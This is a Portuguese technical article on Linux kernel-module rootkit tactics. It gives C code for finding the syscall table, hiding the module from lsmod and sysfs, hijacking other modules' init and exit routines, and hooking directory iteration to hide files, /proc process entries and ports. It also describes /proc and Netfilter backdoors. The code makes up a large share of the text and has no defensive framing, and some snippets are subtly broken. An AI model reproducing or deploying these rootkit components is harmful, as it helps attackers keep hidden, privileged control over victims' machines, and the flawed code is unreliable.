Os rootkits de Módulo Carregável do Kernel (LKM) no Linux representam uma categoria sofisticada de malware que opera diretamente no espaço do kernel, permitindo controle profundo sobre o sistema operacional. Este documento explora diversas táticas empregadas por tais rootkits para manter persistência, ocultar sua presença e manipular o comportamento do sistema.
Interceptação de Chamadas de Sistema (Syscall Hooking)
A manipulação das chamadas de sistema é uma das técnicas fundamentais para rootkits LKM, permitindo que interceptem ou modifiquem o comportamento padrão do sistema. Diversas abordagens podem ser empregadas para localizar e adulterar a Tabela de Chamadas de Sistema (SCT).
Varredura do Espaço de Endereçamento
Este método envolve a iteração através do espaço de endereçamento do kernel em busca de ponteiros conhecidos. Ao identificar o endereço de uma função de chamada de sistema exportada, como sys_close, é possível inferir a localização da SCT.
unsigned long **
encontrar_tabela_chamadas_sistema(void)
{
// Começa a busca no início do espaço de memória do kernel
unsigned long **ponteiro_tabela = (unsigned long **)PAGE_OFFSET;
// Itera através do espaço de endereçamento do kernel até o limite máximo
for (; (unsigned long)ponteiro_tabela < ULONG_MAX; ponteiro_tabela += 1) {
// Verifica se o endereço da chamada de sistema 'close' na suposta tabela
// corresponde ao endereço conhecido da função sys_close
if (ponteiro_tabela[__NR_close] == (unsigned long *)sys_close) {
return ponteiro_tabela; // Tabela encontrada
}
}
return NULL; // Tabela não encontrada
}
Este método depende da disponibilidade do endereço de funções exportadas, garantindo que o ponto de referência para a busca seja acessível e confiável.
Descoberta via IDT (Interrupt Descriptor Table)
Em sistemas i386, a invocação da tabela de chamadas de sistema (SCT) tipicamente envolve uma instrução call indireta, como call *sys_call_table(,%eax,4). A sequência binária dessa instrução é 0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>, onde os últimos quatro bytes representam o endereço do sys_call_table. Ao examinar a Tabela de Descritores de Interrupção (IDT), é possível localizar a entrada para a interrupção 0x80 (geralmente usada para syscalls) e, a partir de seu handler, procurar por essa sequência de bytes.
// Estruturas IDTR e interrupt_descriptor devem ser definidas ou incluídas
// Exemplo:
// typedef struct { unsigned short limit; unsigned long base_addr; } IDTR;
// typedef struct { unsigned short off1; unsigned short sel; unsigned char res; unsigned char flags; unsigned short off2; } interrupt_descriptor;
IDTR descritor_idt;
interrupt_descriptor *tabela_idt, *entrada_sistema;
unsigned int *sct_inferida = NULL; // Ponteiro para armazenar o endereço da SCT
int i;
asm("sidt %0" : "=m" (descritor_idt)); // Obtém o descritor da tabela IDT
tabela_idt = (interrupt_descriptor *) descritor_idt.base_addr;
entrada_sistema = &tabela_idt[0x80]; // A entrada 0x80 é a geralmente usada para chamadas de sistema
// Constrói o endereço da rotina de tratamento da interrupção 0x80
char *codigo_syscall_asm = (char *) ((entrada_sistema->off2 << 16) | entrada_sistema->off1);
// Procura pela sequência de bytes da instrução 'call'
for (i = 0; i < 100; i++) { // Limita a busca para evitar acessos inválidos
if (codigo_syscall_asm[i] == (unsigned char)0xff &&
codigo_syscall_asm[i+1] == (unsigned char)0x14 &&
codigo_syscall_asm[i+2] == (unsigned char)0x85) {
// Encontrou a sequência, o endereço da SCT está nos próximos 4 bytes
sct_inferida = (unsigned int *) *(unsigned int *)&codigo_syscall_asm[i+3];
break; // Termina a busca
}
}
// Agora 'sct_inferida' contém o endereço da System Call Table, se encontrado.
Localização via System.map
A localização do sys_call_table pode ser feita consultando o arquivo System.map, geralmente situado em /boot. Este arquivo contém o mapeamento de símbolos do kernel gerado durante o processo de compilação. Uma análise direta deste arquivo permite a identificação do endereço desejado.
Consulta de Símbolos com kallsyms
O próprio kernel Linux oferece funcionalidades para a consulta de endereços de símbolos, eliminando a necessidade de métodos heurísticos. As funções da API kallsyms são projetadas para esse fim.
// Função de callback para kallsyms_on_each_symbol
static int callback_busca_simbolo(long dados_busca[], const char *nome_simbolo, void *modulo, long endereco_simbolo)
{
int i = 0;
// Se o módulo for nulo (símbolo do kernel principal) e o nome corresponder
if (!modulo) {
while (((const char *)dados_busca[0]))[i] == nome_simbolo[i]) {
if (!nome_simbolo[i++]) { // Nome totalmente correspondente
dados_busca[1] = endereco_simbolo; // Armazena o endereço
return 1; // Sucesso
}
}
}
return 0; // Não corresponde
}
// Função para buscar o endereço de um símbolo pelo nome
static void *obter_endereco_simbolo(const char *nome)
{
long dados_busca[2] = { (long)nome, 0 }; // dados_busca[0] = nome a buscar, dados_busca[1] = resultado
kallsyms_on_each_symbol((void *)callback_busca_simbolo, dados_busca);
return (void *)dados_busca[1]; // Retorna o endereço encontrado
}
Ganchos (Hooks) Inline
Esta técnica envolve a modificação das primeiras instruções de uma função do kernel alvo, redirecionando a execução para um código malicioso. Após a execução do código do rootkit, o fluxo original da função pode ser restaurado. Este método é complexo e exige um entendimento profundo da arquitetura da CPU e do binário do kernel para garantir que a interrupção e o retorno sejam feitos de forma transparente e estável. Para detalhes adicionais, pode-se consultar recursso especializados sobre o assunto.
Modificação da Rotina de Despacho de Chamadas
Outra abordagem para a interceptação de chamadas de sistema é alterar o ponto de despacho que direciona a execução para o sys_call_table original. Ao invés de apontar para a tabela legítima, o fluxo é desviado para uma tabela de chamadas de sistema forjada e controlada pelo rootkit. Essa tabela falsa contém ponteiros para as funções manipuladas, permitindo que o rootkit controle quais chamadas são processadas e como.
Simulação para Descoberta de Endereços
Pode-se criar um fragmento de código que utilize uma estrutura semelhante à sys_call_table e, em seguida, analisar seu binário com ferramentas como objdump para inferir padrões ou endereços relativos. Embora não seja um método direto de busca, a análise do código gerado pode revelar informações úteis sobre a representação da tabela em memória.
#include <stdio.h>
void funcao_um()
{
printf("Funcao Um\n");
}
void funcao_dois()
{
printf("Funcao Dois\n");
}
// Uma tabela de ponteiros de função para simular a SCT
unsigned int tabela_chamadas_simulada[2] = { (unsigned int)funcao_um, (unsigned int)funcao_dois };
int main(int argc, char **argv)
{
// Instrução de assembly que acessa a tabela simulada
// (Nota: esta instrução é para demonstração e pode causar falha em tempo de execução real se não for tratada corretamente)
asm("call *tabela_chamadas_simulada(,%eax,4)");
return 0;
}
Acesso Direto à Memória via /dev/kmem
O dispositivo /dev/kmem permite o acesso direto à memória física do sistema, incluindo o espaço de endereçamento do kernel. Similar aos métodos de busca por padrões em memória, esta técnica envolve a varredura da memória do kernel em busca de sequências de bytes específicas, como 0xff 0x14 0x85, que indicam a localização do sys_call_table.
Uso de Kprobes
Kprobes é uma ferramenta de depuração do kernel que pode ser cooptada para fins de hooking. Seu funcionamento é detalhado nos seguintes passos:
- O usuário define um ponto de sondagem (probe point) e associa uma função de tratamento personalizada a ele.
- No registro do ponto de sondagem, a instrução original da função a ser interceptada é substituída por uma instrução
int 3(breakpoint). - Quando a instrução
int 3é executada, uma exceção é gerada e tratada pelo kernel, que, por meio de uma cadeia de notificações, invoca a função de tratamento dokprobe. - Dentro do handler de exceção do
kprobe, verifica-se a existência de um hookpre_handlerdefinido pelo usuário. Se presente, ele é executado. - Após a execução do
pre_handler, o sistema é preparado para uma depuração em passo único, configurando o flagTF(Trap Flag) nosEFLAGSe modificando o endereço de retorno da exceção para o local onde a instrução original foi salva. - O controle retorna à execução do código original. Ao finalizar a instrução original, uma nova exceção de passo único é acionada.
- No tratamento da exceção de passo único, o flag de passo único é desativado, o
post_handler(se definido) é executado, e o fluxo de execução normal é finalmente restaurado.
Ganchos (Hooks) do LSM (Linux Security Modules)
A arquitetura LSM do Linux permite a implementação de políticas de segurança através de módulos que interceptam operações críticas do kernel. Um rootkit pode explorar essa funcionalidade modificando os ponteiros de função na tabela global security_ops, que define as operações de segurança padrão. Ao substituir um desses ponteiros por uma função controlada pelo atacante, é possível desviar o controle de segurança para o rootkit, permitindo, por exemplo, bypass de permissões.
Ocultação de Módulos do Kernel
A capacidade de esconder a própria presença é crucial para um rootkit. Isso inclui ocultar o módulo carregado de ferramentas de monitoramento do sistema.
Remoção da Lista Global de Módulos
O comando lsmod obtém as informações sobre os módulos carregados lendo o arquivo /proc/modules. Este arquivo, por sua vez, é populado pelo kernel através da travessia de uma lista encadeada global de estruturas struct module. Cada módulo do kernel, ao ser carregado (geralmente via init_module), é associado a uma instância de struct module e inserido nessa lista, que é encabeçada por um ponteiro global, historicamente struct module *modules. Para ocultar a presença de um módulo de lsmod, o rootkit precisa desvinculá-lo dessa lista encadeada global. Isso garante que, durante a iteração da lista para popular /proc/modules, o módulo malicioso seja ignorado.
Remoção do Sysfs
Além de /proc/modules, os módulos carregados também são visíveis através do sysfs, especificamente no diretório /sys/module/. Para completar a ocultação, um rootkit deve remover sua representação neste sistema de arquivos virtual. Isso pode ser alcançado, de forma relativamente simples, invocando a função kobject_del para o objeto kobject associado ao módulo durante sua inicialização ou em um momento oportuno:
// Dentro da função de inicialização do módulo malicioso (ou similar)
kobject_del(&THIS_MODULE->mkobj.kobj); // Desvincula o módulo do sysfs
Através de Técnicas de Ocultação de Arquivos
Uma abordagem complementar para esconder a presença de um módulo é aplicar técnicas de ocultação de arquivos diretamente aos arquivos /proc/modules e aos diretórios correspondentes em /sys/module/. Isso impede que as aplicações em espaço de usuário visualizem as entradas relacionadas ao módulo comprometido, mesmo que elas tentem acessar esses caminhos diretamente. Os detalhes sobre como ocultar arquivos serão abordados em uma seção posterior.
Implementação de Backdoors
Rootkits frequentemente incluem backdoors para acesso persistente e controle sobre o sistema comprometido.
Elevação de Privilégios via Arquivos /proc
Um backdoor pode ser estabelecido criando um arquivo virtual no sistema de arquivos /proc (que posteriormente deve ser ocultado). Ao personalizar as operações de escrita (file_operation->write) para este arquivo, o rootkit pode interpretar dados escritos nele como comandos para elevar os privilégios de um processo específico ou para executar outras ações arbitrárias no kernel.
Controle Remoto via Netfilter
O Netfilter é a estrutura de filtragem de pacotes do kernel Linux. Rootkits podem registrar hooks no Netfilter para inspecionar e manipular o tráfego de rede. Ao procurar por sequências de bytes ou padrões específicos em pacotes de entrada, um rootkit pode usar o tráfego de rede como um canal de comando e controle oculto, permitindo a execução de comandos remotos, a exfiltração de dados ou a ativação de outras funcionalidades maliciosas.
Bloqueio e Manipulação de Carregamento de Módulos
Um rootkit pode tentar impedir o carregamento de outros módulos, especialmente aqueles que poderiam detectá-lo ou interferir em suas operações.
O kernel Linux permite o registro de funções de notificação que são invocadas sempre que um evento relacionado a módulos ocorre (como carregamento ou descarregamento). As funções register_module_notifier e unregister_module_notifier são usadas para gerenciar esses hooks. Um rootkit pode explorar este mecanismo registrando um handler com alta prioridade para interceptar eventos de carregamento de módulos. Dentro do handler, é possível inspecionar o módulo que está sendo carregado e, se for considerado indesejável, manipular ou até mesmo substituir suas funções de inicialização e saída.
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/notifier.h>
#include <linux/spinlock.h> // Para spinlock
// Funções de inicialização e saída falsas (placeholders)
int rotina_falsa_inicializacao(void);
void rotina_falsa_finalizacao(void);
// Função de callback para o notificador de módulos
int notificador_modulos(struct notifier_block *nb,
unsigned long acao, void *dados_modulo_ptr)
{
struct module *modulo_alvo = (struct module *)dados_modulo_ptr;
unsigned long flags_spinlock;
// Define um spinlock para proteger o acesso a estruturas de módulo
DEFINE_SPINLOCK(spinlock_notificador_modulos);
printk(KERN_INFO "Rootkit: Processando módulo: %s\n", modulo_alvo->name);
// Adquire o spinlock, salvando o estado das interrupções
spin_lock_irqsave(&spinlock_notificador_modulos, flags_spinlock);
switch (acao) {
case MODULE_STATE_COMING: // Módulo está sendo carregado
printk(KERN_INFO "Rootkit: Interceptando init/exit de: %s\n", modulo_alvo->name);
// Substitui as funções originais de init e exit do módulo
modulo_alvo->init = rotina_falsa_inicializacao;
modulo_alvo->exit = rotina_falsa_finalizacao;
break;
default:
break;
}
// Libera o spinlock, restaurando o estado das interrupções
spin_unlock_irqrestore(&spinlock_notificador_modulos, flags_spinlock);
return NOTIFY_DONE; // Indica que a notificação foi processada
}
// Estrutura notifier_block a ser registrada
struct notifier_block bloco_notificador_modulo = {
.notifier_call = notificador_modulos,
.priority = INT_MAX // Alta prioridade para ser chamado primeiro
};
// Implementação das funções falsas
int rotina_falsa_inicializacao(void)
{
printk(KERN_INFO "Rootkit: Executando inicialização falsa.\n");
return 0; // Sucesso
}
void rotina_falsa_finalizacao(void)
{
printk(KERN_INFO "Rootkit: Executando finalização falsa.\n");
return;
}
// Para registrar: register_module_notifier(&bloco_notificador_modulo);
// Para desregistrar: unregister_module_notifier(&bloco_notificador_modulo);
Ocultação de Arquivos no Sistema de Arquivos
A ocultação de arquivos em um rootkit LKM é comumente realizada interceptando as chamadas de sistema responsáveis pela listagem de diretórios. No Linux, as syscalls getdents e getdents64 (e suas variantes mais antigas old_readdir) são as principais para essa finalidade. No nível do kernel, essas chamadas invocam a função sys_getdents (em fs/readdir.c), que, por sua vez, delega a tarefa de iteração a métodos específicos definidos na struct file_operations do diretório, geralmente o campo iterate. Este método iterate então interage com uma struct dir_context, cujo campo actor é tipicamente uma função como filldir. A filldir é responsável por preencher o buffer de retorno com as entradas de diretório (arquivos e subdiretórios).
A estratégia de ocultação consiste em interceptar a função iterate de um diretório alvo (como o diretório raiz /). Dentro da função iterate adulterada, o ponteiro actor da struct dir_context é substituído por um filldir falso. Este filldir modificado tem a lógica para filtrar e omitir entradas de arquivos ou diretórios específicos que o rootkit deseja ocultar, impedindo que eles sejam retornados às aplicações em espaço de usuário.
#include <linux/fs.h> // Para struct file_operations, struct file
#include <linux/dirent.h> // Para struct dir_context
#include <linux/string.h> // Para strncmp
#include <linux/kernel.h> // Para printk
#include <linux/namei.h> // Para filp_open
#include <linux/slab.h> // Para kmalloc/kfree se necessário
// Funções como disable_write_protection/enable_write_protection podem
// ser específicas da arquitetura ou versão do kernel, exigindo includes adicionais
// ou definições personalizadas. Por exemplo, em alguns kernels, são macros.
// Função ponteiro para o tipo de filldir
typedef int (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64, unsigned int);
// Variáveis para armazenar as funções originais
static filldir_t filldir_original;
static int (*iterate_original)(struct file *, struct dir_context *);
// Nome do arquivo ou diretório a ser ocultado
#define ARQUIVO_SECRETO "nome_do_arquivo_oculto" // Define o nome do arquivo a esconder
// Função de filldir adulterada
int filldir_falso(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
// Se o nome do arquivo corresponder ao arquivo secreto, omite-o
if (strncmp(name, ARQUIVO_SECRETO, strlen(ARQUIVO_SECRETO)) == 0) {
printk(KERN_INFO "Rootkit: Ocultando entrada: %s\n", name);
return 0; // Retorna 0 para indicar que a entrada não foi adicionada
}
// Se não for o arquivo secreto, chama o filldir original para adicioná-lo
return filldir_original(ctx, name, namlen, offset, ino, d_type);
}
// Função iterate adulterada
int iterate_falso(struct file *filp, struct dir_context *ctx)
{
// Salva o ponteiro para a função filldir original
filldir_original = ctx->actor;
// Substitui o 'actor' (filldir) na struct dir_context pelo nosso filldir falso
*(filldir_t *)&ctx->actor = filldir_falso;
// Chama a função iterate original, que agora usará nosso filldir falso
return iterate_original(filp, ctx);
}
// Macro para facilitar a substituição de funções de operação de arquivo
#define configurar_op_arquivo(campo_op, caminho_alvo, nova_funcao_ptr, funcao_antiga_ptr) \
do { \
struct file *arquivo_ptr; \
struct file_operations *ops_arquivo; \
\
printk(KERN_INFO "Rootkit: Abrindo caminho: %s.\n", caminho_alvo); \
arquivo_ptr = filp_open(caminho_alvo, O_RDONLY, 0); \
if (IS_ERR(arquivo_ptr)) { \
printk(KERN_ERR "Rootkit: Falha ao abrir %s, erro: %ld.\n", \
caminho_alvo, PTR_ERR(arquivo_ptr)); \
funcao_antiga_ptr = NULL; \
} else { \
printk(KERN_INFO "Rootkit: Sucesso ao abrir: %s\n", caminho_alvo); \
ops_arquivo = (struct file_operations *)arquivo_ptr->f_op; \
funcao_antiga_ptr = (void *)ops_arquivo->campo_op; \
\
printk(KERN_INFO "Rootkit: Alterando '" #campo_op "' de %p para %p.\n", \
(void *)funcao_antiga_ptr, (void *)nova_funcao_ptr); \
// Desabilita proteção contra escrita na memória do kernel (CR0.WP)
// A implementação exata pode variar entre versões do kernel e arquiteturas.
// Exemplo genérico:
// write_cr0(read_cr0() & (~0x10000));
// ou usar disable_write_protection(); se definida em algum header incluído.
disable_write_protection(); \
ops_arquivo->campo_op = (void *)nova_funcao_ptr; \
// Habilita proteção contra escrita novamente
// write_cr0(read_cr0() | 0x10000);
// ou usar enable_write_protection();
enable_write_protection(); \
filp_close(arquivo_ptr, NULL); \
} \
} while(0)
Exemplo de uso: seria necessário declarar uma variável void *ponteiro_dummy; e então invocar configurar_op_arquivo(iterate, "/", iterate_falso, ponteiro_dummy);. O ponteiro ponteiro_dummy conteria a função original iterate, que deveria ser salva em iterate_original.
Ocultação de Processos
Em sistemas Linux, a principal forma de aplicações em espaço de usuário enumerarem e obterem informações sobre processos é através do sistema de arquivos virtual /proc. Consequentemente, para ocultar um processo do espaço de usuário, um rootkit pode aplicar as técnicas de ocultação de arquivos diretamente aos diretórios correspondentes em /proc/. Cada processo em execução tem um diretório com seu PID (ID de Processo) em /proc/. Ao ocultar esse diretório, o rootkit controla quais processos são visíveis para as ferramentas de monitoramento de usuário, como ps ou top.
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/dirent.h>
#include <linux/errno.h> // Para errno, se necessário
// Variável global para o PID a ser ocultado
#define PID_SECRETO 12345 // Exemplo de PID a ocultar
// Reutilizando a estrutura de filldir falso, mas com lógica para PIDs
// Note: 'filldir_original' deve ser definida e inicializada com a função original de filldir.
// A definição de filldir_t e iterate_original também seriam necessárias.
int filldir_falso_processo(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
char *ponteiro_final;
long pid_atual;
// Tenta converter o nome (que deve ser um PID) para um número
// simple_strtol é uma função do kernel para converter string para long
pid_atual = simple_strtol(name, &ponteiro_final, 10);
// Verifica se a conversão foi bem-sucedida (ponteiro_final aponta para '\0')
// e se o PID atual corresponde ao PID secreto
if (*ponteiro_final == '\0' && pid_atual == PID_SECRETO) {
printk(KERN_INFO "Rootkit: Ocultando PID: %ld\n", pid_atual);
return 0; // Oculta o processo, não o adiciona ao buffer
}
// Se não for o PID secreto, chama o filldir original para adicioná-lo
// Assumimos que filldir_original foi devidamente capturado.
return filldir_original(ctx, name, namlen, offset, ino, d_type);
}
Para uso, seria necessário aplicar esta lógica ao diretório /proc, substituindo seu iterate e filldir como no exemplo de ocultação de arquivos.
Ocultação de Portas de Rede
A ocultação de portas de rede para aplicações em espaço de usuário é realizada interceptando as funções do kernel responsáveis por formatar e expor as informações de conexão de rede através do sistema de arquivos /proc. Quando um processo de usuário lê arquivos como /proc/net/tcp ou /proc/net/udp para obter detalhes sobre as portas abertas, um rootkit pode intervir e filtrar as linhas correspondentes às portas que deseja ocultar. Isso garante que as informações sobre as portas comprometidas não sejam exibidas nas ferramantas de rede.
Os principais arquivos e as funções do kernel associadas para diferentes tipos de conexão são:
- TCP / IPv4: Arquivo
/proc/net/tcp, Função Kernel Principal:tcp4_seq_show(emnet/ipv4/tcp_ipv4.c) - TCP / IPv6: Arquivo
/proc/net/tcp6, Função Kernel Principal:tcp6_seq_show(emnet/ipv6/tcp_ipv6.c) - UDP / IPv4: Arquivo
/proc/net/udp, Função Kernel Principle:udp4_seq_show(emnet/ipv4/udp.c) - UDP / IPv6: Arquivo
/proc/net/udp6, Função Kernel Principal:udp6_seq_show(emnet/ipv6/udp.c)
A técnica envolve a interceptação dessas funções seq_show para manipular o conteúdo antes que ele seja retornado ao espaço de usuário, removendo as entradas das portas que o rootkit deseja manter invisíveis.